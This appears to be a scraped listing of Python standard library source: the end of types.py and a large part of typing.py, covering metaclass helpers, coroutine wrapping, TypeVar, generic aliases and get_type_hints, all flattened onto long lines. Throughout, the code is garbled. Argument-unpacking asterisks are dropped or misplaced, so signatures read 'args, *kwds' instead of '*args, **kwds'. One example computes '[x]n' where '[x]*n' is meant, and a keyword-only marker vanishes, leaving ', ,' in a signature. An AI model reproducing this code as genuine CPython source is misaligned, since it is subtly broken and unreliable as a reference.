(metaclass, namespace, kwds) as a 3-tuple metaclass* is the appropriate metaclass namespace is the prepared class namespace kwds is an updated copy of the passed in kwds argument with any 'metaclass' entry removed. If no kwds argument is passed in, this will be an empty dict. """ if kwds is None: kwds = {} else: kwds = dict(kwds) # Don't alter the provided mapping if 'metaclass' in kwds: meta = kwds.pop('metaclass') else: if bases: meta = type(bases[0]) else: meta = type if isinstance(meta, type): # when meta is a type, we first determine the most-derived metaclass # instead of invoking the initial candidate directly meta = _calculate_meta(meta, bases) if hasattr(meta, '__prepare__'): ns = meta.__prepare__(name, bases, *kwds) else: ns = {} return meta, ns, kwds def _calculate_meta(meta, bases): """Calculate the most derived metaclass.""" winner = meta for base in bases: base_meta = type(base) if issubclass(winner, base_meta): continue if issubclass(base_meta, winner): winner = base_meta continue # else: raise TypeError("metaclass conflict: " "the metaclass of a derived class " "must be a (non-strict) subclass " "of the metaclasses of all its bases") return winner class DynamicClassAttribute: """Route attribute access on a class to __getattr__. This is a descriptor, used to define attributes that act differently when accessed through an instance and through a class. Instance access remains normal, but access to an attribute through a class will be routed to the class's __getattr__ method; this is done by raising AttributeError. This allows one to have properties active on an instance, and have virtual attributes on the class with the same name (see Enum for an example). """ def __init__(self, fget=None, fset=None, fdel=None, doc=None): self.fget = fget self.fset = fset self.fdel = fdel # next two lines make DynamicClassAttribute act the same as property self.__doc__ = doc or fget.__doc__ self.overwrite_doc = doc is None # support for abstract methods self.__isabstractmethod__ = bool(getattr(fget, '__isabstractmethod__', False)) def __get__(self, instance, ownerclass=None): if instance is None: if self.__isabstractmethod__: return self raise AttributeError() elif self.fget is None: raise AttributeError("unreadable attribute") return self.fget(instance) def __set__(self, instance, value): if self.fset is None: raise AttributeError("can't set attribute") self.fset(instance, value) def __delete__(self, instance): if self.fdel is None: raise AttributeError("can't delete attribute") self.fdel(instance) def getter(self, fget): fdoc = fget.__doc__ if self.overwrite_doc else None result = type(self)(fget, self.fset, self.fdel, fdoc or self.__doc__) result.overwrite_doc = self.overwrite_doc return result def setter(self, fset): result = type(self)(self.fget, fset, self.fdel, self.__doc__) result.overwrite_doc = self.overwrite_doc return result def deleter(self, fdel): result = type(self)(self.fget, self.fset, fdel, self.__doc__) result.overwrite_doc = self.overwrite_doc return result class _GeneratorWrapper: # TODO: Implement this in C. def __init__(self, gen): self.__wrapped = gen self.__isgen = gen.__class__ is GeneratorType self.__name__ = getattr(gen, '__name__', None) self.__qualname__ = getattr(gen, '__qualname__', None) def send(self, val): return self.__wrapped.send(val) def throw(self, tp, rest): return self.__wrapped.throw(tp, rest) def close(self): return self.__wrapped.close() @property def gi_code(self): return self.__wrapped.gi_code @property def gi_frame(self): return self.__wrapped.gi_frame @property def gi_running(self): return self.__wrapped.gi_running @property def gi_yieldfrom(self): return self.__wrapped.gi_yieldfrom cr_code = gi_code cr_frame = gi_frame cr_running = gi_running cr_await = gi_yieldfrom def __next__(self): return next(self.__wrapped) def __iter__(self): if self.__isgen: return self.__wrapped return self __await__ = __iter__ def coroutine(func): """Convert regular generator function to a coroutine.""" if not callable(func): raise TypeError('types.coroutine() expects a callable') if (func.__class__ is FunctionType and getattr(func, '__code__', None).__class__ is CodeType): co_flags = func.__code__.co_flags # Check if 'func' is a coroutine function. # (0x180 == CO_COROUTINE \| CO_ITERABLE_COROUTINE) if co_flags & 0x180: return func # Check if 'func' is a generator function. # (0x20 == CO_GENERATOR) if co_flags & 0x20: # TODO: Implement this in C. co = func.__code__ func.__code__ = CodeType( co.co_argcount, co.co_kwonlyargcount, co.co_nlocals, co.co_stacksize, co.co_flags \| 0x100, # 0x100 == CO_ITERABLE_COROUTINE co.co_code, co.co_consts, co.co_names, co.co_varnames, co.co_filename, co.co_name, co.co_firstlineno, co.co_lnotab, co.co_freevars, co.co_cellvars) return func # The following code is primarily to support functions that # return generator-like objects (for instance generators # compiled with Cython). # Delay functools and _collections_abc import for speeding up types import. import functools import _collections_abc @functools.wraps(func) def wrapped(args, *kwargs): coro = func(args, **kwargs) if (coro.__class__ is CoroutineType or coro.__class__ is GeneratorType and coro.gi_code.co_flags & 0x100): # 'coro' is a native coroutine object or an iterable coroutine return coro if (isinstance(coro, _collections_abc.Generator) and not isinstance(coro, _collections_abc.Coroutine)): # 'coro' is either a pure Python generator iterator, or it # implements collections.abc.Generator (and does not implement # collections.abc.Coroutine). return _GeneratorWrapper(coro) # 'coro' is either an instance of collections.abc.Coroutine or # some other object -- pass it through. return coro return wrapped __all__ = [n for n in globals() if n[:1] != '_']	9.67 KB	2024-04-17 17:55
📄 typing.py """ The typing module: Support for gradual typing as defined by PEP 484. At large scale, the structure of the module is following: * Imports and exports, all public names should be explicitly added to __all__. * Internal helper functions: these should never be used in code outside this module. * _SpecialForm and its instances (special forms): Any, NoReturn, ClassVar, Union, Optional * Two classes whose instances can be type arguments in addition to types: ForwardRef and TypeVar * The core of internal generics API: _GenericAlias and _VariadicGenericAlias, the latter is currently only used by Tuple and Callable. All subscripted types like X[int], Union[int, str], etc., are instances of either of these classes. * The public counterpart of the generics API consists of two classes: Generic and Protocol (the latter is currently private, but will be made public after PEP 544 acceptance). * Public helper functions: get_type_hints, overload, cast, no_type_check, no_type_check_decorator. * Generic aliases for collections.abc ABCs and few additional protocols. * Special types: NewType, NamedTuple, TypedDict (may be added soon). * Wrapper submodules for re and io related types. """ import abc from abc import abstractmethod, abstractproperty import collections import collections.abc import contextlib import functools import operator import re as stdlib_re # Avoid confusion with the re we export. import sys import types from types import WrapperDescriptorType, MethodWrapperType, MethodDescriptorType # Please keep __all__ alphabetized within each category. __all__ = [ # Super-special typing primitives. 'Any', 'Callable', 'ClassVar', 'ForwardRef', 'Generic', 'Optional', 'Tuple', 'Type', 'TypeVar', 'Union', # ABCs (from collections.abc). 'AbstractSet', # collections.abc.Set. 'ByteString', 'Container', 'ContextManager', 'Hashable', 'ItemsView', 'Iterable', 'Iterator', 'KeysView', 'Mapping', 'MappingView', 'MutableMapping', 'MutableSequence', 'MutableSet', 'Sequence', 'Sized', 'ValuesView', 'Awaitable', 'AsyncIterator', 'AsyncIterable', 'Coroutine', 'Collection', 'AsyncGenerator', 'AsyncContextManager', # Structural checks, a.k.a. protocols. 'Reversible', 'SupportsAbs', 'SupportsBytes', 'SupportsComplex', 'SupportsFloat', 'SupportsInt', 'SupportsRound', # Concrete collection types. 'ChainMap', 'Counter', 'Deque', 'Dict', 'DefaultDict', 'List', 'OrderedDict', 'Set', 'FrozenSet', 'NamedTuple', # Not really a type. 'Generator', # One-off things. 'AnyStr', 'cast', 'get_type_hints', 'NewType', 'no_type_check', 'no_type_check_decorator', 'NoReturn', 'overload', 'Text', 'TYPE_CHECKING', ] # The pseudo-submodules 're' and 'io' are part of the public # namespace, but excluded from __all__ because they might stomp on # legitimate imports of those modules. def _type_check(arg, msg, is_argument=True): """Check that the argument is a type, and return it (internal helper). As a special case, accept None and return type(None) instead. Also wrap strings into ForwardRef instances. Consider several corner cases, for example plain special forms like Union are not valid, while Union[int, str] is OK, etc. The msg argument is a human-readable error message, e.g:: "Union[arg, ...]: arg should be a type." We append the repr() of the actual value (truncated to 100 chars). """ invalid_generic_forms = (Generic, _Protocol) if is_argument: invalid_generic_forms = invalid_generic_forms + (ClassVar, ) if arg is None: return type(None) if isinstance(arg, str): return ForwardRef(arg) if (isinstance(arg, _GenericAlias) and arg.__origin__ in invalid_generic_forms): raise TypeError(f"{arg} is not valid as type argument") if (isinstance(arg, _SpecialForm) and arg not in (Any, NoReturn) or arg in (Generic, _Protocol)): raise TypeError(f"Plain {arg} is not valid as type argument") if isinstance(arg, (type, TypeVar, ForwardRef)): return arg if not callable(arg): raise TypeError(f"{msg} Got {arg!r:.100}.") return arg def _type_repr(obj): """Return the repr() of an object, special-casing types (internal helper). If obj is a type, we return a shorter version than the default type.__repr__, based on the module and qualified name, which is typically enough to uniquely identify a type. For everything else, we fall back on repr(obj). """ if isinstance(obj, type): if obj.__module__ == 'builtins': return obj.__qualname__ return f'{obj.__module__}.{obj.__qualname__}' if obj is ...: return('...') if isinstance(obj, types.FunctionType): return obj.__name__ return repr(obj) def _collect_type_vars(types): """Collect all type variable contained in types in order of first appearance (lexicographic order). For example:: _collect_type_vars((T, List[S, T])) == (T, S) """ tvars = [] for t in types: if isinstance(t, TypeVar) and t not in tvars: tvars.append(t) if isinstance(t, _GenericAlias) and not t._special: tvars.extend([t for t in t.__parameters__ if t not in tvars]) return tuple(tvars) def _subs_tvars(tp, tvars, subs): """Substitute type variables 'tvars' with substitutions 'subs'. These two must have the same length. """ if not isinstance(tp, _GenericAlias): return tp new_args = list(tp.__args__) for a, arg in enumerate(tp.__args__): if isinstance(arg, TypeVar): for i, tvar in enumerate(tvars): if arg == tvar: new_args[a] = subs[i] else: new_args[a] = _subs_tvars(arg, tvars, subs) if tp.__origin__ is Union: return Union[tuple(new_args)] return tp.copy_with(tuple(new_args)) def _check_generic(cls, parameters): """Check correct count for parameters of a generic cls (internal helper). This gives a nice error message in case of count mismatch. """ if not cls.__parameters__: raise TypeError(f"{cls} is not a generic class") alen = len(parameters) elen = len(cls.__parameters__) if alen != elen: raise TypeError(f"Too {'many' if alen > elen else 'few'} parameters for {cls};" f" actual {alen}, expected {elen}") def _remove_dups_flatten(parameters): """An internal helper for Union creation and substitution: flatten Unions among parameters, then remove duplicates. """ # Flatten out Union[Union[...], ...]. params = [] for p in parameters: if isinstance(p, _GenericAlias) and p.__origin__ is Union: params.extend(p.__args__) elif isinstance(p, tuple) and len(p) > 0 and p[0] is Union: params.extend(p[1:]) else: params.append(p) # Weed out strict duplicates, preserving the first of each occurrence. all_params = set(params) if len(all_params) < len(params): new_params = [] for t in params: if t in all_params: new_params.append(t) all_params.remove(t) params = new_params assert not all_params, all_params return tuple(params) _cleanups = [] def _tp_cache(func): """Internal wrapper caching __getitem__ of generic types with a fallback to original function for non-hashable arguments. """ cached = functools.lru_cache()(func) _cleanups.append(cached.cache_clear) @functools.wraps(func) def inner(args, kwds): try: return cached(args, *kwds) except TypeError: pass # All real errors (not unhashable args) are raised below. return func(args, *kwds) return inner def _eval_type(t, globalns, localns): """Evaluate all forward reverences in the given type t. For use of globalns and localns see the docstring for get_type_hints(). """ if isinstance(t, ForwardRef): return t._evaluate(globalns, localns) if isinstance(t, _GenericAlias): ev_args = tuple(_eval_type(a, globalns, localns) for a in t.__args__) if ev_args == t.__args__: return t res = t.copy_with(ev_args) res._special = t._special return res return t class _Final: """Mixin to prohibit subclassing""" __slots__ = ('__weakref__',) def __init_subclass__(self, args, *kwds): if '_root' not in kwds: raise TypeError("Cannot subclass special typing classes") class _Immutable: """Mixin to indicate that object should not be copied.""" def __copy__(self): return self def __deepcopy__(self, memo): return self class _SpecialForm(_Final, _Immutable, _root=True): """Internal indicator of special typing constructs. See _doc instance attribute for specific docs. """ __slots__ = ('_name', '_doc') def __new__(cls, args, *kwds): """Constructor. This only exists to give a better error message in case someone tries to subclass a special typing object (not a good idea). """ if (len(args) == 3 and isinstance(args[0], str) and isinstance(args[1], tuple)): # Close enough. raise TypeError(f"Cannot subclass {cls!r}") return super().__new__(cls) def __init__(self, name, doc): self._name = name self._doc = doc def __eq__(self, other): if not isinstance(other, _SpecialForm): return NotImplemented return self._name == other._name def __hash__(self): return hash((self._name,)) def __repr__(self): return 'typing.' + self._name def __reduce__(self): return self._name def __call__(self, args, *kwds): raise TypeError(f"Cannot instantiate {self!r}") def __instancecheck__(self, obj): raise TypeError(f"{self} cannot be used with isinstance()") def __subclasscheck__(self, cls): raise TypeError(f"{self} cannot be used with issubclass()") @_tp_cache def __getitem__(self, parameters): if self._name == 'ClassVar': item = _type_check(parameters, 'ClassVar accepts only single type.') return _GenericAlias(self, (item,)) if self._name == 'Union': if parameters == (): raise TypeError("Cannot take a Union of no types.") if not isinstance(parameters, tuple): parameters = (parameters,) msg = "Union[arg, ...]: each arg must be a type." parameters = tuple(_type_check(p, msg) for p in parameters) parameters = _remove_dups_flatten(parameters) if len(parameters) == 1: return parameters[0] return _GenericAlias(self, parameters) if self._name == 'Optional': arg = _type_check(parameters, "Optional[t] requires a single type.") return Union[arg, type(None)] raise TypeError(f"{self} is not subscriptable") Any = _SpecialForm('Any', doc= """Special type indicating an unconstrained type. - Any is compatible with every type. - Any assumed to have all methods. - All values assumed to be instances of Any. Note that all the above statements are true from the point of view of static type checkers. At runtime, Any should not be used with instance or class checks. """) NoReturn = _SpecialForm('NoReturn', doc= """Special type indicating functions that never return. Example:: from typing import NoReturn def stop() -> NoReturn: raise Exception('no way') This type is invalid in other positions, e.g., ``List[NoReturn]`` will fail in static type checkers. """) ClassVar = _SpecialForm('ClassVar', doc= """Special type construct to mark class variables. An annotation wrapped in ClassVar indicates that a given attribute is intended to be used as a class variable and should not be set on instances of that class. Usage:: class Starship: stats: ClassVar[Dict[str, int]] = {} # class variable damage: int = 10 # instance variable ClassVar accepts only types and cannot be further subscribed. Note that ClassVar is not a class itself, and should not be used with isinstance() or issubclass(). """) Union = _SpecialForm('Union', doc= """Union type; Union[X, Y] means either X or Y. To define a union, use e.g. Union[int, str]. Details: - The arguments must be types and there must be at least one. - None as an argument is a special case and is replaced by type(None). - Unions of unions are flattened, e.g.:: Union[Union[int, str], float] == Union[int, str, float] - Unions of a single argument vanish, e.g.:: Union[int] == int # The constructor actually returns int - Redundant arguments are skipped, e.g.:: Union[int, str, int] == Union[int, str] - When comparing unions, the argument order is ignored, e.g.:: Union[int, str] == Union[str, int] - You cannot subclass or instantiate a union. - You can use Optional[X] as a shorthand for Union[X, None]. """) Optional = _SpecialForm('Optional', doc= """Optional type. Optional[X] is equivalent to Union[X, None]. """) class ForwardRef(_Final, _root=True): """Internal wrapper to hold a forward reference.""" __slots__ = ('__forward_arg__', '__forward_code__', '__forward_evaluated__', '__forward_value__', '__forward_is_argument__') def __init__(self, arg, is_argument=True): if not isinstance(arg, str): raise TypeError(f"Forward reference must be a string -- got {arg!r}") try: code = compile(arg, '<string>', 'eval') except SyntaxError: raise SyntaxError(f"Forward reference must be an expression -- got {arg!r}") self.__forward_arg__ = arg self.__forward_code__ = code self.__forward_evaluated__ = False self.__forward_value__ = None self.__forward_is_argument__ = is_argument def _evaluate(self, globalns, localns): if not self.__forward_evaluated__ or localns is not globalns: if globalns is None and localns is None: globalns = localns = {} elif globalns is None: globalns = localns elif localns is None: localns = globalns self.__forward_value__ = _type_check( eval(self.__forward_code__, globalns, localns), "Forward references must evaluate to types.", is_argument=self.__forward_is_argument__) self.__forward_evaluated__ = True return self.__forward_value__ def __eq__(self, other): if not isinstance(other, ForwardRef): return NotImplemented if self.__forward_evaluated__ and other.__forward_evaluated__: return (self.__forward_arg__ == other.__forward_arg__ and self.__forward_value__ == other.__forward_value__) return self.__forward_arg__ == other.__forward_arg__ def __hash__(self): return hash(self.__forward_arg__) def __repr__(self): return f'ForwardRef({self.__forward_arg__!r})' class TypeVar(_Final, _Immutable, _root=True): """Type variable. Usage:: T = TypeVar('T') # Can be anything A = TypeVar('A', str, bytes) # Must be str or bytes Type variables exist primarily for the benefit of static type checkers. They serve as the parameters for generic types as well as for generic function definitions. See class Generic for more information on generic types. Generic functions work as follows: def repeat(x: T, n: int) -> List[T]: '''Return a list containing n references to x.''' return [x]n def longest(x: A, y: A) -> A: '''Return the longest of two strings.''' return x if len(x) >= len(y) else y The latter example's signature is essentially the overloading of (str, str) -> str and (bytes, bytes) -> bytes. Also note that if the arguments are instances of some subclass of str, the return type is still plain str. At runtime, isinstance(x, T) and issubclass(C, T) will raise TypeError. Type variables defined with covariant=True or contravariant=True can be used to declare covariant or contravariant generic types. See PEP 484 for more details. By default generic types are invariant in all type variables. Type variables can be introspected. e.g.: T.__name__ == 'T' T.__constraints__ == () T.__covariant__ == False T.__contravariant__ = False A.__constraints__ == (str, bytes) Note that only type variables defined in global scope can be pickled. """ __slots__ = ('__name__', '__bound__', '__constraints__', '__covariant__', '__contravariant__') def __init__(self, name, constraints, bound=None, covariant=False, contravariant=False): self.__name__ = name if covariant and contravariant: raise ValueError("Bivariant types are not supported.") self.__covariant__ = bool(covariant) self.__contravariant__ = bool(contravariant) if constraints and bound is not None: raise TypeError("Constraints cannot be combined with bound=...") if constraints and len(constraints) == 1: raise TypeError("A single constraint is not allowed") msg = "TypeVar(name, constraint, ...): constraints must be types." self.__constraints__ = tuple(_type_check(t, msg) for t in constraints) if bound: self.__bound__ = _type_check(bound, "Bound must be a type.") else: self.__bound__ = None try: def_mod = sys._getframe(1).f_globals.get('__name__', '__main__') # for pickling except (AttributeError, ValueError): def_mod = None if def_mod != 'typing': self.__module__ = def_mod def __repr__(self): if self.__covariant__: prefix = '+' elif self.__contravariant__: prefix = '-' else: prefix = '~' return prefix + self.__name__ def __reduce__(self): return self.__name__ # Special typing constructs Union, Optional, Generic, Callable and Tuple # use three special attributes for internal bookkeeping of generic types: # __parameters__ is a tuple of unique free type parameters of a generic # type, for example, Dict[T, T].__parameters__ == (T,); # * __origin__ keeps a reference to a type that was subscripted, # e.g., Union[T, int].__origin__ == Union, or the non-generic version of # the type. # * __args__ is a tuple of all arguments used in subscripting, # e.g., Dict[T, int].__args__ == (T, int). # Mapping from non-generic type names that have a generic alias in typing # but with a different name. _normalize_alias = {'list': 'List', 'tuple': 'Tuple', 'dict': 'Dict', 'set': 'Set', 'frozenset': 'FrozenSet', 'deque': 'Deque', 'defaultdict': 'DefaultDict', 'type': 'Type', 'Set': 'AbstractSet'} def _is_dunder(attr): return attr.startswith('__') and attr.endswith('__') class _GenericAlias(_Final, _root=True): """The central part of internal API. This represents a generic version of type 'origin' with type arguments 'params'. There are two kind of these aliases: user defined and special. The special ones are wrappers around builtin collections and ABCs in collections.abc. These must have 'name' always set. If 'inst' is False, then the alias can't be instantiated, this is used by e.g. typing.List and typing.Dict. """ def __init__(self, origin, params, , inst=True, special=False, name=None): self._inst = inst self._special = special if special and name is None: orig_name = origin.__name__ name = _normalize_alias.get(orig_name, orig_name) self._name = name if not isinstance(params, tuple): params = (params,) self.__origin__ = origin self.__args__ = tuple(... if a is _TypingEllipsis else () if a is _TypingEmpty else a for a in params) self.__parameters__ = _collect_type_vars(params) self.__slots__ = None # This is not documented. if not name: self.__module__ = origin.__module__ @_tp_cache def __getitem__(self, params): if self.__origin__ in (Generic, _Protocol): # Can't subscript Generic[...] or _Protocol[...]. raise TypeError(f"Cannot subscript already-subscripted {self}") if not isinstance(params, tuple): params = (params,) msg = "Parameters to generic types must be types." params = tuple(_type_check(p, msg) for p in params) _check_generic(self, params) return _subs_tvars(self, self.__parameters__, params) def copy_with(self, params): # We don't copy self._special. return _GenericAlias(self.__origin__, params, name=self._name, inst=self._inst) def __repr__(self): if (self._name != 'Callable' or len(self.__args__) == 2 and self.__args__[0] is Ellipsis): if self._name: name = 'typing.' + self._name else: name = _type_repr(self.__origin__) if not self._special: args = f'[{", ".join([_type_repr(a) for a in self.__args__])}]' else: args = '' return (f'{name}{args}') if self._special: return 'typing.Callable' return (f'typing.Callable' f'[[{", ".join([_type_repr(a) for a in self.__args__[:-1]])}], ' f'{_type_repr(self.__args__[-1])}]') def __eq__(self, other): if not isinstance(other, _GenericAlias): return NotImplemented if self.__origin__ != other.__origin__: return False if self.__origin__ is Union and other.__origin__ is Union: return frozenset(self.__args__) == frozenset(other.__args__) return self.__args__ == other.__args__ def __hash__(self): if self.__origin__ is Union: return hash((Union, frozenset(self.__args__))) return hash((self.__origin__, self.__args__)) def __call__(self, args, *kwargs): if not self._inst: raise TypeError(f"Type {self._name} cannot be instantiated; " f"use {self._name.lower()}() instead") result = self.__origin__(args, *kwargs) try: result.__orig_class__ = self except AttributeError: pass return result def __mro_entries__(self, bases): if self._name: # generic version of an ABC or built-in class res = [] if self.__origin__ not in bases: res.append(self.__origin__) i = bases.index(self) if not any(isinstance(b, _GenericAlias) or issubclass(b, Generic) for b in bases[i+1:]): res.append(Generic) return tuple(res) if self.__origin__ is Generic: i = bases.index(self) for b in bases[i+1:]: if isinstance(b, _GenericAlias) and b is not self: return () return (self.__origin__,) def __getattr__(self, attr): # We are careful for copy and pickle. # Also for simplicity we just don't relay all dunder names if '__origin__' in self.__dict__ and not _is_dunder(attr): return getattr(self.__origin__, attr) raise AttributeError(attr) def __setattr__(self, attr, val): if _is_dunder(attr) or attr in ('_name', '_inst', '_special'): super().__setattr__(attr, val) else: setattr(self.__origin__, attr, val) def __instancecheck__(self, obj): return self.__subclasscheck__(type(obj)) def __subclasscheck__(self, cls): if self._special: if not isinstance(cls, _GenericAlias): return issubclass(cls, self.__origin__) if cls._special: return issubclass(cls.__origin__, self.__origin__) raise TypeError("Subscripted generics cannot be used with" " class and instance checks") def __reduce__(self): if self._special: return self._name if self._name: origin = globals()[self._name] else: origin = self.__origin__ if (origin is Callable and not (len(self.__args__) == 2 and self.__args__[0] is Ellipsis)): args = list(self.__args__[:-1]), self.__args__[-1] else: args = tuple(self.__args__) if len(args) == 1 and not isinstance(args[0], tuple): args, = args return operator.getitem, (origin, args) class _VariadicGenericAlias(_GenericAlias, _root=True): """Same as _GenericAlias above but for variadic aliases. Currently, this is used only by special internal aliases: Tuple and Callable. """ def __getitem__(self, params): if self._name != 'Callable' or not self._special: return self.__getitem_inner__(params) if not isinstance(params, tuple) or len(params) != 2: raise TypeError("Callable must be used as " "Callable[[arg, ...], result].") args, result = params if args is Ellipsis: params = (Ellipsis, result) else: if not isinstance(args, list): raise TypeError(f"Callable[args, result]: args must be a list." f" Got {args}") params = (tuple(args), result) return self.__getitem_inner__(params) @_tp_cache def __getitem_inner__(self, params): if self.__origin__ is tuple and self._special: if params == (): return self.copy_with((_TypingEmpty,)) if not isinstance(params, tuple): params = (params,) if len(params) == 2 and params[1] is ...: msg = "Tuple[t, ...]: t must be a type." p = _type_check(params[0], msg) return self.copy_with((p, _TypingEllipsis)) msg = "Tuple[t0, t1, ...]: each t must be a type." params = tuple(_type_check(p, msg) for p in params) return self.copy_with(params) if self.__origin__ is collections.abc.Callable and self._special: args, result = params msg = "Callable[args, result]: result must be a type." result = _type_check(result, msg) if args is Ellipsis: return self.copy_with((_TypingEllipsis, result)) msg = "Callable[[arg, ...], result]: each arg must be a type." args = tuple(_type_check(arg, msg) for arg in args) params = args + (result,) return self.copy_with(params) return super().__getitem__(params) class Generic: """Abstract base class for generic types. A generic type is typically declared by inheriting from this class parameterized with one or more type variables. For example, a generic mapping type might be defined as:: class Mapping(Generic[KT, VT]): def __getitem__(self, key: KT) -> VT: ... # Etc. This class can then be used as follows:: def lookup_name(mapping: Mapping[KT, VT], key: KT, default: VT) -> VT: try: return mapping[key] except KeyError: return default """ __slots__ = () def __new__(cls, args, *kwds): if cls is Generic: raise TypeError("Type Generic cannot be instantiated; " "it can be used only as a base class") if super().__new__ is object.__new__ and cls.__init__ is not object.__init__: obj = super().__new__(cls) else: obj = super().__new__(cls, args, *kwds) return obj @_tp_cache def __class_getitem__(cls, params): if not isinstance(params, tuple): params = (params,) if not params and cls is not Tuple: raise TypeError( f"Parameter list to {cls.__qualname__}[...] cannot be empty") msg = "Parameters to generic types must be types." params = tuple(_type_check(p, msg) for p in params) if cls is Generic: # Generic can only be subscripted with unique type variables. if not all(isinstance(p, TypeVar) for p in params): raise TypeError( "Parameters to Generic[...] must all be type variables") if len(set(params)) != len(params): raise TypeError( "Parameters to Generic[...] must all be unique") elif cls is _Protocol: # _Protocol is internal at the moment, just skip the check pass else: # Subscripting a regular Generic subclass. _check_generic(cls, params) return _GenericAlias(cls, params) def __init_subclass__(cls, args, *kwargs): super().__init_subclass__(args, *kwargs) tvars = [] if '__orig_bases__' in cls.__dict__: error = Generic in cls.__orig_bases__ else: error = Generic in cls.__bases__ and cls.__name__ != '_Protocol' if error: raise TypeError("Cannot inherit from plain Generic") if '__orig_bases__' in cls.__dict__: tvars = _collect_type_vars(cls.__orig_bases__) # Look for Generic[T1, ..., Tn]. # If found, tvars must be a subset of it. # If not found, tvars is it. # Also check for and reject plain Generic, # and reject multiple Generic[...]. gvars = None for base in cls.__orig_bases__: if (isinstance(base, _GenericAlias) and base.__origin__ is Generic): if gvars is not None: raise TypeError( "Cannot inherit from Generic[...] multiple types.") gvars = base.__parameters__ if gvars is None: gvars = tvars else: tvarset = set(tvars) gvarset = set(gvars) if not tvarset <= gvarset: s_vars = ', '.join(str(t) for t in tvars if t not in gvarset) s_args = ', '.join(str(g) for g in gvars) raise TypeError(f"Some type variables ({s_vars}) are" f" not listed in Generic[{s_args}]") tvars = gvars cls.__parameters__ = tuple(tvars) class _TypingEmpty: """Internal placeholder for () or []. Used by TupleMeta and CallableMeta to allow empty list/tuple in specific places, without allowing them to sneak in where prohibited. """ class _TypingEllipsis: """Internal placeholder for ... (ellipsis).""" def cast(typ, val): """Cast a value to a type. This returns the value unchanged. To the type checker this signals that the return value has the designated type, but at runtime we intentionally don't check anything (we want this to be as fast as possible). """ return val def _get_defaults(func): """Internal helper to extract the default arguments, by name.""" try: code = func.__code__ except AttributeError: # Some built-in functions don't have __code__, __defaults__, etc. return {} pos_count = code.co_argcount arg_names = code.co_varnames arg_names = arg_names[:pos_count] defaults = func.__defaults__ or () kwdefaults = func.__kwdefaults__ res = dict(kwdefaults) if kwdefaults else {} pos_offset = pos_count - len(defaults) for name, value in zip(arg_names[pos_offset:], defaults): assert name not in res res[name] = value return res _allowed_types = (types.FunctionType, types.BuiltinFunctionType, types.MethodType, types.ModuleType, WrapperDescriptorType, MethodWrapperType, MethodDescriptorType) def get_type_hints(obj, globalns=None, localns=None): """Return type hints for an object. This is often the same as obj.__annotations__, but it handles forward references encoded as string literals, and if necessary adds Optional[t] if a default value equal to None is set. The argument may be a module, class, method, or function. The annotations are returned as a dictionary. For classes, annotations include also inherited members. TypeError is raised if the argument is not of a type that can contain annotations, and an empty dictionary is returned if no annotations are present. BEWARE -- the behavior of globalns and localns is counterintuitive (unless you are familiar with how eval() and exec() work). The search order is locals first, then globals. - If no dict arguments are passed, an attempt is made to use the globals from obj (or the respective module's globals for classes), and these are also used as the locals. If the object does not appear to have globals, an empty dictionary is used. - If one dict argument is passed, it is used for both globals and locals. - If two dict arguments are passed, they specify globals and locals, respectively. """ if getattr(obj, '__no_type_check__', None): return {} # Classes require a special treatment. if isinstance(obj, type): hints = {} for base in reversed(obj.__mro__): if globalns is None: base_globals = sys.modules[base.__module__].__dict__ else: base_globals = globalns ann = base.__dict__.get('__annotations__', {}) for name, value in ann.items(): if value is None: value = type(None) if isinstance(value, str): value = ForwardRef(value, is_argument=False) value = _eval_type(value, base_globals, localns) hints[name] = value return hints if globalns is None: if isinstance(obj, types.ModuleType): globalns = obj.__dict__ else: nsobj = obj # Find globalns for the unwrapped object. while hasattr(nsobj, '__wrapped__'): nsobj = nsobj.__wrapped__ globalns = getattr(nsobj, '__globals__', {}) if localns is None: localns = globalns elif localns is None: localns = globalns hints = getattr(obj, '__annotations__', None) if hints is None: # Return empty annotations for something that _could_ have them. if isinstance(obj, _allowed_types): return {} else: raise TypeError('{!r} is not a module, class, method, ' 'or function.'.format(obj)) defaults = _get_defaults(obj) hints = dict(hints) for name, value in hints.items(): if value is None: value = type(None) if isinstance(value, str): value = ForwardRef(value) value = _eval_type(value, globalns, localns) if name in defaults and defaults[name] is None: value = Optional[value] hints[name] = value return hints def no_type_check(arg): """Decorator to indicate that annotations are not type hints. The argument must be a class or function; if it is a class, it applies recursively to all methods and classes defined in that class (but not to methods defined in its superclasses or subclasses). This mutates the function(s) or class(es) in place. """ if isinstance(arg, type): arg_attrs = arg.__dict__.copy() for attr, val in arg.__dict__.items(): if val in arg.__bases__ + (arg,): arg_attrs.pop(attr) for obj in arg_attrs.values(): if isinstance(obj, types.FunctionType): obj.__no_type_check__ = True if isinstance(obj, type): no_type_check(obj) try: arg.__no_type_check__ = True except TypeError: # built-in classes pass return arg def no_type_check_decorator(decorator): """Decorator to give another decorator the @no_type_check effect. This wraps the decorator with something that wraps the decorated function in @no_type_check. """ @functools.wraps(decorator) def wrapped_decorator(args, *kwds): func = decorator(args, *kwds) func = no_type_check(func) return func return wrapped_decorator def _overload_dummy(args, *kwds): """Helper for @overload to raise when called.""" raise NotImplementedError( "You should not call an overloaded function. " "A series of @overload-decorated functions " "outside a stub module should always be followed " "by an implementation that is not @overload-ed.") def overload(func): """Decorator for overloaded functions/methods. In a stub file, place two or more stub definitions for the same function in a row, each decorated with @overload. For example: @overload def utf8(value: None) -> None: ... @overload def utf8(value: bytes) -> bytes: ... @overload def utf8(value: str) -> bytes: ... In a non-stub file (i.e. a regular .py file), do the same but follow it with an implementation. The implementation should not* be decorated with @overload. For example: @overload def utf8(value: None) -> None: ... @overload def utf8(value: bytes) -> bytes: ... @overload def utf8(value: str) -> bytes: ... def utf8(value): # implementation goes here """ return _overload_dummy class _ProtocolMeta(type): """Internal metaclass for _Protocol. This exists so _Protocol classes can be generic without deriving from Generic. """ def __instancecheck__(self, obj): if _Protocol not in self.__bases__: return super().__instancecheck__(obj) raise TypeError("Protocols cannot be used with isinstance().") def __subclasscheck__(self, cls): if not self._is_protocol: # No structural checks since this isn't a protocol. return NotImplemented if self is _Protocol: # Every class is a subclass of the empty protocol. return True # Find all attributes defined in the protocol. attrs = self._get_protocol_attrs() for attr in attrs: if not any(attr in d.__dict__ for d in cls.__mro__): return False return True def _get_protocol_attrs(self): # Get all Protocol base classes. protocol_bases = [] for c in self.__mro__: if getattr(c, '_is_protocol', False) and c.__name__ != '_Protocol': protocol_bases.append(c) # Get attributes included in protocol. attrs = set() for base in protocol_bases: for attr in base.__dict__.keys(): # Include attributes not defined in any non-protocol bases. for c in self.__mro__: if (c is not base and attr in c.__dict__ and not getattr(c, '_is_protocol', False)): break else: if (not attr.startswith('_abc_') and attr != '__abstractmethods__' and 